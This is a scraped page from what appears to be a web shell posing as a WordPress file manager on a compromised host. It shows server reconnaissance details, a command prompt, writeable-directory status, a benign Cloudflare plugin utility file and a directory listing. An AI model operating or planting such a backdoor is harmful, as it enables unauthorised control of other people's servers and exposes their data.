GRAYBYTE WORDPRESS FILE MANAGER7744

Server IP : 68.65.123.43 / Your IP : 216.73.216.162
System : Linux server266.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
PHP Version : 8.0.30
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/inteuuod/public_html/wp-content/plugins/cloudflare/src/WordPress/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/inteuuod/public_html/wp-content/plugins/cloudflare/src/WordPress//Utils.php
<?php

namespace CF\WordPress;

class Utils
{
    const COMPOSER_CONFIG_PATH = '/../../composer.json';

    /**
     * @param $haystack
     * @param $needle
     *
     * @return bool
     */
    public static function strEndsWith($haystack, $needle)
    {
        if (empty($haystack) || empty($needle)) {
            return false;
        }
        $needle_len = strlen($needle);
        return ($needle_len === 0 || 0 === substr_compare($haystack, $needle, -$needle_len));
    }

    public static function isSubdomainOf($subDomainName, $domainName)
    {
        if (empty($subDomainName) || empty($domainName)) {
            return false;
        }

        // Check if strpos is a positive integer
        $dotPosition = strpos($subDomainName, $domainName) - 1;
        if ($dotPosition === -1) {
            return false;
        }

        return self::strEndsWith($subDomainName, $domainName) &&
            $subDomainName !== $domainName &&
            $subDomainName[$dotPosition] == '.';
    }

    public static function getRegistrableDomain($domainName)
    {
        // Remove characters up to the first "." character.
        // For example:
        // blog.domain.com -> domain.com
        // does not work with multiple subdomain
        // sub1.sub2.domain.com -> sub2.domain.com
        return preg_replace('/^[^.]*.\s*/', '', $domainName);
    }

    public static function getComposerJson(): array
    {
        if (!file_exists(dirname(__FILE__) . self::COMPOSER_CONFIG_PATH)) {
            return [];
        }
        return json_decode(file_get_contents(dirname(__FILE__) . self::COMPOSER_CONFIG_PATH), true);
    }
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 10 2025 04:45:36
inteuuod / inteuuod
0755
Constants
--
July 10 2025 04:32:23
inteuuod / inteuuod
0755
.htaccess
0.41 KB
July 10 2025 04:32:23
inteuuod / inteuuod
0644
ClientActions.php
4.217 KB
August 23 2024 03:21:02
inteuuod / inteuuod
0644
ClientRoutes.php
0.336 KB
August 23 2024 03:21:02
inteuuod / inteuuod
0644
DataStore.php
4.284 KB
August 23 2024 03:21:02
inteuuod / inteuuod
0644
HTTP2ServerPush.php
5.436 KB
August 23 2024 03:21:02
inteuuod / inteuuod
0644
PluginActions.php
7.37 KB
August 23 2024 03:21:02
inteuuod / inteuuod
0644
PluginRoutes.php
0.403 KB
August 23 2024 03:21:02
inteuuod / inteuuod
0644
Proxy.php
4.202 KB
August 23 2024 03:21:02
inteuuod / inteuuod
0644
Utils.php
1.606 KB
August 23 2024 03:21:02
inteuuod / inteuuod
0644
WordPressAPI.php
3.35 KB
August 23 2024 03:21:02
inteuuod / inteuuod
0644
WordPressClientAPI.php
7.375 KB
August 23 2024 03:21:02
inteuuod / inteuuod
0644
WordPressWrapper.php
0.925 KB
August 23 2024 03:21:02
inteuuod / inteuuod
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF